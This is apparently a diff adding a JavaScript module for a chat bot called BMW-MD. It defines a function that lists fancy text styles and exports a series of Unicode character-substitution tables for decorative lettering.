+ let msg = '\n*Availabe Fancy styles for BMW-MD:*\n\n';
+ for (let style in styles) {
+ if (style == 33) {
+ msg += (parseInt(style) + 1) + '. ' + 'bmw-md' + '\n';
+ } else {
+ msg += (parseInt(style) + 1) + '. ' + fancy.apply(fancy[parseInt(style)], text) + '\n';
+ }
+ }
+ return msg;
+}
+
+
+module.exports = {
+ 0:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ" },
+ 1:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ" },
+ 2:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙" },
+ 3:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙" },
+ 4:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉" },
+ 5:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ" },
+ 6:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ" },
+ 7:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ" },
+ 8:{"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉" },
+ 9:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕" },
+ 10:{"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙" },
+ 11:{"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭" },
+ 12: {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡" },
+ 13:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z" },
+ 14:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ" },
+ 15:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z" },
+ 16:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z" },
+ 17:{"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ" },
+ 18:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z" },
+ 19:{"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋",":":"₌","(":"₍",")":"₎" },
+ 20:{"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻",":":"⁼","(":"⁽",")":"⁾" },
+ 21:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ" },
+ 22:{"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ" },
+ 23:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅" },
+ 24:{q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"},
+ 25:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩" },
+ 26:{"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ" },
+ 27:{"`":"`","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","0":"0","-":"-",":":"=","~":"~","!":"!","@":"@","#":"#","$":"$","%":"%","^":"^","&":"&","*":"*","(":"(",")":")","_":"_","+":"+","q":"q","w":"w","e":"e","r":"r","t":"t","y":"y","u":"u","i":"i","o":"o","p":"p","[":"[","]":"]","\\":"\\","Q":"Q","W":"W","E":"E","R":"R","T":"T","Y":"Y","U":"U","I":"I","O":"O","P":"P","{":"{","}":"}","|":"|","a":"a","s":"s","d":"d","f":"f","g":"g","h":"h","j":"j","k":"k","l":"l",";":";","'":"'","A":"A","S":"S","D":"D","F":"F","G":"G","H":"H","J":"J","K":"K","L":"L",":":":","\"":"\"","z":"z","x":"x","c":"c","v":"v","b":"b","n":"n","m":"m",",":",",".":".","/":"/","Z":"Z","X":"X","C":"C","V":"V","B":"B","N":"N","M":"M","<":"<",">":">","?":"?"},
+ 28:{"a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ғ","g":"ɢ","h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ","o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"s","t":"ᴛ","u":"ᴜ","v":"ᴠ","w":"ᴡ","x":"x","y":"ʏ","z":"ᴢ","A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ғ","G":"ɢ","H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ","O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"s","T":"ᴛ","U":"ᴜ","V":"ᴠ","W":"ᴡ","X":"x","Y":"ʏ","Z":"ᴢ" },
+ 29:{"a":"𝒂","b":"𝒃","c":"𝒄","d":"𝒅","e":"𝒆","f":"𝒇","g":"𝒈","h":"𝒉","i":"𝒊","j":"𝒋","k":"𝒌","l":"𝒍","m":"𝒎","n":"𝒏","o":"𝒐","p":"𝒑","q":"𝒒","r":"𝒓","s":"𝒔","t":"𝒕","u":"𝒖","v":"𝒗","w":"𝒘","x":"𝒙","y":"𝒚","z":"𝒛","A":"𝐴","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝐸","F":"𝐹","G":"𝐺","H":"𝐻","I":"𝐼","J":"𝐽","K":"𝐾","L":"𝐿","M":"𝑀","N":"𝑁","O":"𝑂","P":"𝑃","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝑉","W":"𝑊","X":"𝑋","Y":"𝑌","Z":"𝑍" },
+ 30:{"a":"𝛥","b":"??","c":"𝐶","d":"𝐷","e":"𝛯","f":"𝐹","g":"𝐺","h":"𝛨","i":"𝛪","j":"𝐽","k":"𝛫","l":"𝐿","m":"𝛭","n":"𝛮","o":"𝛩","p":"𝛲","q":"𝑄","r":"𝑅","s":"𝑆","t":"𝑇","u":"𝑈","v":"𝛻","w":"𝑊","x":"𝛸","y":"𝑌","z":"𝛧","A":"𝛥","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝛯","F":"𝐹","G":"𝐺","H":"𝛨","I":"𝛪","J":"𝐽","K":"𝛫","L":"𝐿","M":"𝛭","N":"𝛮","O":"𝛩","P":"𝛲","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝛻","W":"𝑊","X":"𝛸","Y":"𝑌","Z":"𝛧"},
+ 31:{"A":"𝚫","B":"𝚩","C":"𝐂","D":"𝐃","E":"𝚵","F":"𝐅","G":"𝐆","H":"𝚮","I":"𝚰","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝚳","N":"𝚴","O":"𝚯","P":"𝚸","Q":"𝐐","R":"𝚪","S":"𝐒","T":"𝚻","U":"𝐔","V":"𝛁","W":"𝐖","X":"𝚾","Y":"𝐘","Z":"𝚭","a":"𝚫","b":"𝚩","c":"𝐂","d":"𝐃","e":"𝚵","f":"𝐅","g":"𝐆","h":"𝚮","i":"𝚰","j":"𝐉","k":"𝐊","l":"𝐋","m":"𝚳","n":"𝚴","o":"𝚯","p":"𝚸","q":"𝐐","r":"𝚪","s":"𝐒","t":"𝚻","u":"𝐔","v":"𝛁","w":"𝐖","x":"𝚾","y":"𝐘","z":"𝚭"},
+ 32:{"A":"ꪖ","B":"᥇","C":"ᥴ","D":"ᦔ","E":"ꫀ","F":"ᠻ","G":"ᧁ","H":"ꫝ","I":"ﺃ","J":"꠹","K":"ᛕ","L":"ꪶ","M":"ꪑ","N":"ꪀ","O":"ꪮ","P":"ᜣ","Q":"ꪇ","R":"᥅","S":"ᦓ","T":"ꪻ","U":"ꪊ","V":"ꪜ","W":"᭙","X":"᥊","Y":"ꪗ","Z":"ɀ","a":"ꪖ","b":"᥇","c":"ᥴ","d":"ᦔ","e":"ꫀ","f":"ᠻ","g":"ᧁ","h":"ꫝ","i":"ﺃ","j":"꠹","k":"ᛕ","l":"ꪶ","m":"ꪑ","n":"ꪀ","o":"ꪮ","p":"ᜣ","q":"ꪇ","r":"᥅","s":"ᦓ","t":"ꪻ","u":"ꪊ","v":"ꪜ","w":"᭙","x":"᥊","y":"ꪗ","z":"ɀ"},
